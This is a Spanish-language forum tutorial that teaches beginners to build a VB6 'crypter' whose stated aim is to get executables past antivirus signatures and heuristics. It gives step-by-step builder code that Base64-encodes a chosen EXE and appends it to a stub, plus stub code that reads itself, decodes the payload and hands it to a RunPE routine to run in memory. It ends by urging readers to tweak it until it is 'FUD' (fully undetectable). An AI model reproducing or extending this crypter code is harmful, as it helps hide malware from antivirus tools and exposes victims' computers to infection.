El objetivo de este tutorial es el de ayudar a los recién iniciados en el mundo de la (in)seguridad informática y la criptografía. Intentaré ser lo más claro y conciso tanto en las explicaciones como en los códigos proporcionados.
Conceptos teóricos básicos
¿Qué es un crypter?
La palabra 'crypter' es el anglicismo de 'cifrador'. Un crypter tiene como objetivo alterar un archivo para que éste pueda saltarse las diversas protecciones que disponen los antivirus.
¿Qué técnicas utilizan principalmente los antivirus?
Los antivirus cuentan con dos formas principales para detectar una amenaza: las firmas y la heurística.
- Firmas: los antivirus detectan patrones hexadecimales en los archivos y los comparan con su base de datos.
- Heurística: los antivirus detectan el comportamiento de un archivo y lo catalogan como amenaza si lo consideran malicioso.
¿Qué lenguaje de programación es el mejor para hacer un crypter?
No hay un lenguaje mejor. Depende mucho de los recursos de los que se disponga y los conocimientos que uno tenga sobre un lenguaje, aunque el más usado es sin duda Visual Basic 6 (VB6 para abreviar), seguido de Visual Basic .NET (VB.NET) y AutoIt (Au3). Object Pascal (Delphi) y C# también son usados pero en menor medida.
¿Qué tipos de crypters hay?
Hay 2:
- Scantime: droppea (suelta) el archivo cifrado en el disco duro (normalmente en la carpeta temp) y luego lo ejecuta. Este tipo de crypter fue de los primeros que hubo y debido a la heurística de los antivirus ahora es inutil.
- Runtime: descifra y ejecuta en memoria el archivo. Esta técnica es útil para evitar la heurística de los antivirus.
Contenido de un crypter
Un crypter se divide en 2 partes: builder y stub.
Builder
Es la herramienta (gráfica) que permite cifrar a un archivo.
[Enlace externo eliminado para invitados]
Ejemplo de builder del usuario sudo
StubEsta es la pieza más importante del crypter. El stub encapsula el propio stub y el archivo cifrado. Su función es obtener el archivo cifrado del EOF (End Of File, final de archivo) y ejecutarlo en el disco duro (scantime) o en memoria (runtime).
Metal_Kingdom::: escribió:Esto no es siempre así, es una de las muchas maneras de leer el fichero cifrado, pudiéndose del EOF, en recursos, en cualquier variable escondida en el propio stub, escondido en otro fichero.. e incluso almacenado en un host.
Quedaría mejor aclarar que el almacenaje en el EOF es el método estándar, pero que hay muchas formas de hacerlo.
Esquema algo cutre de un crypter
PARTE PRÁCTICAComo sé que a la mayoría de usuarios no le interesa mucho la teórica me enfocaré más en la parte práctica de este tutorial, cuyo objetivo es ayudaros a hacer un crypter en el lenguaje más usado, VB6.
Requisitos
- Nociones básicas de programación (para comprender mejor el código)
- Visual Basic 6 IDE (para desarrollar el crypter en VB6)
Una vez instalados el IDE (entornos de desarrollo por sus siglas en inglés) empezaremos creando el builder del crypter. Será algo sencillo.
Al abrir el IDE te dará a elegir entre crear un nuevo proyecto, abrir uno existente o uno reciente.
Seleccionamos en la pestaña 'Nuevo' la opción 'Exe estándar' y clicamos en 'Abrir'.
Se abrirá el editor gráfico. Aquí es donde añadiremos los botones, labels (etiquetas de texto) y más componentes.
En la parte derecha del IDE encontramos la estructura del proyecto. Hay 3 tipos de "documentos" principales en VB6: formularios (form), módulos (modules) y classes (module classes). Para el builder sólo necesitaremos un formulario.
Para pasar del editor gráfico al editor de código y viceversa hay dos botones en la parte superior del árbol de archivos. Seleccionamos un archivo y clicamos en algunos de los botones siguientes para cambiar de editor.
Empezaremos cambiando el título del formulario, para ello hacemos click en el formulario (en el editor gráfico, obviamente) y en la esquina inferior derecha aparecerán las propiedades del formulario. Buscamos la propiedad 'Caption' y cambiamos 'Form1' por el título que queramos, yo pondré 'Tutorial by Blau'.
Ahora añadiremos una label (etiqueta de texto) en el formulario. Seleccionamos el componente label en la parte izquierda del editor gráfico y lo insertamos dentro del formulario.
Y ahora nos vamos al cuadro de propiedades y cambiamos el atributo 'Caption' por 'Archivo' por ejemplo.
El siguiente componente sera un TextBox (el que está a la derecha del label) y hacemos lo mismo que antes. Una vez el TextBox se encuentra en el formulario, borramos lo que haya en 'Caption' (lo dejamos vacío), la propiedad 'Enabled' la cambiamos por 'False' y '(Nombre)' (la primera propiedad) la cambiamos por algo más representantivo, yo lo llamaré 'txtArchivo'.
Ya casi estará listo el diseño, sólo faltan 2 botones. Uno para buscar el archivo y otro para cifrarlo. El nombre del primero será 'btnBuscar' y el caption será 'Buscar', el nombre del segundo será 'btnCifrar' y el caption 'Cifrar'.
El último paso es añadir el componente para permitir buscar archivos (la típica ventanita de buscar archivos de Windows). Hay que hacer click derecho en el cuadro de componentes (el de la izquierda) y seleccionar la opción 'Componentes'. Se abrirá una ventana con muchos controladores, el que necesitamos es 'Microsoft Common Dialog Control 6.0'. Hacemos doble click y aceptamos.
Ahora insertamos en el formulario el nuevo componente que se ha añadido y cambiamos el nombre a 'CD'.
Con esto, ya estará listo el diseño, ahora toca la parte de código.
Haced doble click en el botón 'Buscar' y se abrirá el editor de código.
Dentro del bloque de código que se ha generado automáticamente (Private Sub btnBuscar_Click()) pegamos el siguiente código:
With CD 'Con el CommonDialog (ventana de seleccionar archivo)
.DialogTitle = "Selecciona el archivo a cifrar" 'Título de la ventana
.Filter = "EXE|*.exe" 'Tipos de extensiones a buscar
.ShowOpen 'Mostrar la ventana para seleccionar archivo
End With
If CD.FileName <> vbNullString Then 'Si se ha seleccionado un archivo
txtArchivo.Text = CD.FileName 'Al TextBox 'txtArchivo' se le atribuye la ruta del archivo como Text
End If
Volvemos al editor gráfico y hacemos doble click en 'btnCifrar' e insertamos el siguiente código.
With CD 'Con el CommonDialog (ventana de seleccionar archivo)
.DialogTitle = "Selecciona la ruta donde quieres guardar el archivo cifrado" 'Título de la ventana
.Filter = "EXE|*.exe" 'Tipos de extensiones a buscar
.ShowSave 'Mostrar la ventana para guardar archivo
End With
If CD.FileName = vbNullString Then 'Si no se ha seleccionado un nombre
MsgBox "¡No has elegido una ruta/nombre!" 'Un mensaje indicando que no se ha seleccionado una ruta o nombre
Exit Sub 'Se sale de la acción del botón
Else 'Si sí se ha seleccionado un nombre
'Dejamos esto vacío de momento, aquí estará el resto del código que falta
End If
Ahora tendremos que elegir un algoritmo de cifrado. Adjuntaré una pequeña recopilación de clases de cifrado, yo elegiré Base64 ya que no es un cifrado muy común para crypters. Hacemos click derecho en el nombre del proyecto dentro del árbol de archivos, seleccionamos la opción 'Agregar archivo' y seleccionamos la clase que queramos.
Ahora contiuamos el código en el bloque 'Else' con el siguiente código:
Dim b64 As New clsBase64 'Instanciamos la clase clsBase64 con el nombre 'b64'
Dim sStub As String 'Aquí almacenaremos el archivo Stub
Dim sArchivo As String 'Aquí almacenaremos el archivo a cifrar
Dim sDelimitador As String 'Esta será una cadena de texto para dividir el stub del archivo cifrado
sDelimitador = "[Blau]Delimitador[Blau]"
Open App.Path & "\Stub.exe" For Binary As #1 'Abrimos en modo binario el stub, 'Stub.exe' es el nombre del Stub
sStub = Space(LOF(1)) 'Reservamos espacio en memoria
Get #1, , sStub 'Almacenamos el contenido de 'Stub.exe' en la variable sStub
Close #1
Open txtArchivo.Text For Binary As #1 'Abrimos en modo binario el archivo a cifrar, txtArchivo contiene la ruta del archivo
sArchivo = Space(LOF(1)) 'Hacemos lo mismo que con el stub
Get #1, , sArchivo
Close #1
sArchivo = b64.Encode(sArchivo) 'Ciframos el contenido del archivo con Base64
Open CD.FileName For Binary As #1 'Creamos y abrimos el archivo donde se guardará
Put #1, , sStub & sDelimitador & sArchivo 'Dentro del archivo guardamos el Stub, el delimitador y el archivo cifrado
Close #1
MsgBox "¡Archivo cifrado con éxito!" 'Mostramos un mensaje para avisar al usuario que todo ha ido bien
El builder ya está listo, para decorarlo un poco más puedes cambiarle el icono. Para ello ve al editor gráfico, selecciona el formulario y la propiedad 'Icon' te permitirá buscar un icono.
Ahora toca compilar el builder. Ve a la pestaña 'Archivo' y selecciona 'Generar <NombreProyecto>.exe'.
Guardamos todo y en la pestaña 'Archivo' seleccionamos 'Nuevo proyecto', se nos abrirá la misma ventana que al abrir el IDE. Seleccionamos las mismas opciones que el Builder (Nuevo > EXE estándar > Abrir).
Esta vez no usaremos forumalarios, sino módulos. Hacemos click derecho en 'Form1' en el árbol de archivos y hacemos click en 'Quitar Form1'.
Hacemos click derecho en el proyecto y seleccionamos 'Agregar' > 'Módulo'. Se abrirá una ventana, sólo tenemos que darle a 'Abrir' y en la esquina inferior derecha se aparecerá el cuadro de propiedades del módulo donde sólo se puede cambiar el nombre, yo lo llamaré 'mMain'.
En los módulos sólo se puede escribir código, no hay nada gráfico. Hacemos de nuevo el paso de añadir la clase de cifrado como hemos hecho en el builder.
A continuación pegamos el siguiente código en el módulo 'mMain'.
Sub main()
Dim sMe() As String 'Array que contiene el Stub y el archivo cifrado
Dim sDelimitador As String 'Igual que en el builder
Dim b64 As New clsBase64 'Instancia de la clase clsBase64
Dim sDescifrado As String 'Archivo descifrado
Dim sBinario() As Byte 'Array de bytes que tendrá el archivo descifrado
sDelimitador = "[Blau]Delimitador[Blau]" 'IMPORTANTE: mismo delimitador que en el builder
sMe = SplitMyself(sDelimitador)
'[Array] sMe
'sMe(0) = Stub
'sMe(1) = Archivo cifrado
sDescifrado = b64.Decode(sMe(1)) 'Guardamos el archivo descifrado en la variable 'sDescifrado'
sBinario = StrConv(sDescifrado, vbFromUnicode) 'Convertimos el archivo descifrado a una array de bytes
End Sub
Public Function GetCurrentPath() 'Función para obtener la ruta del archivo
GetCurrentPath = App.path & "\" & App.EXEName & ".exe"
End Function
Public Function ReadMyself() 'Función para leerse a sí mismo
Dim ret As String
Open GetCurrentPath For Binary As #1
ret = Space(LOF(1))
Get #1, , ret
Close #1
ReadMyself = ret
End Function
Public Function SplitMyself(sDelimitador As String) 'Función para dividir el stub del archivo cifrado gracias al delimitador
SplitMyself = Split(ReadMyself, sDelimitador)
End Function
Falta la pieza clave del Stub, el RunPE. El RunPE es el código encargado de ejecutar el archivo en memoria. La mayoría de firmas de los antivirus se centran en este código.
Yo usaré un RunPe aportado por Himanen (http://indetectables.net/viewtopic.php?f=96&t=44532).
Agregamos un nuevo módulo al proyecto y lo llamamos 'mRunPE'.
Dentro del módulo pegamos el RunPE.
Si nos fijamos en el RunPE, veremos que esta línea
es la llamada al RunPE así que vamos al módulo mMain y al final del bloque 'Sub main()' pegamos el siguiente código.Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
Call RunPE(GetCurrentPath, sBinario) 'Con esto nos autoinyectaremos el archivo descifrado
Compilamos el proyecto con el nombre 'Stub.exe' y lo guardamos en la misma ruta que el builder.
¡Sólo tenemos que comprobar que funciona!
Aquí dejo el scan del archivo cifrado:
El resultado no ha sido muy bueno porque he usado métodos básicos y un RunPE público pero con imaginación y modding se puede conseguir un crypter FUD (full undetectable).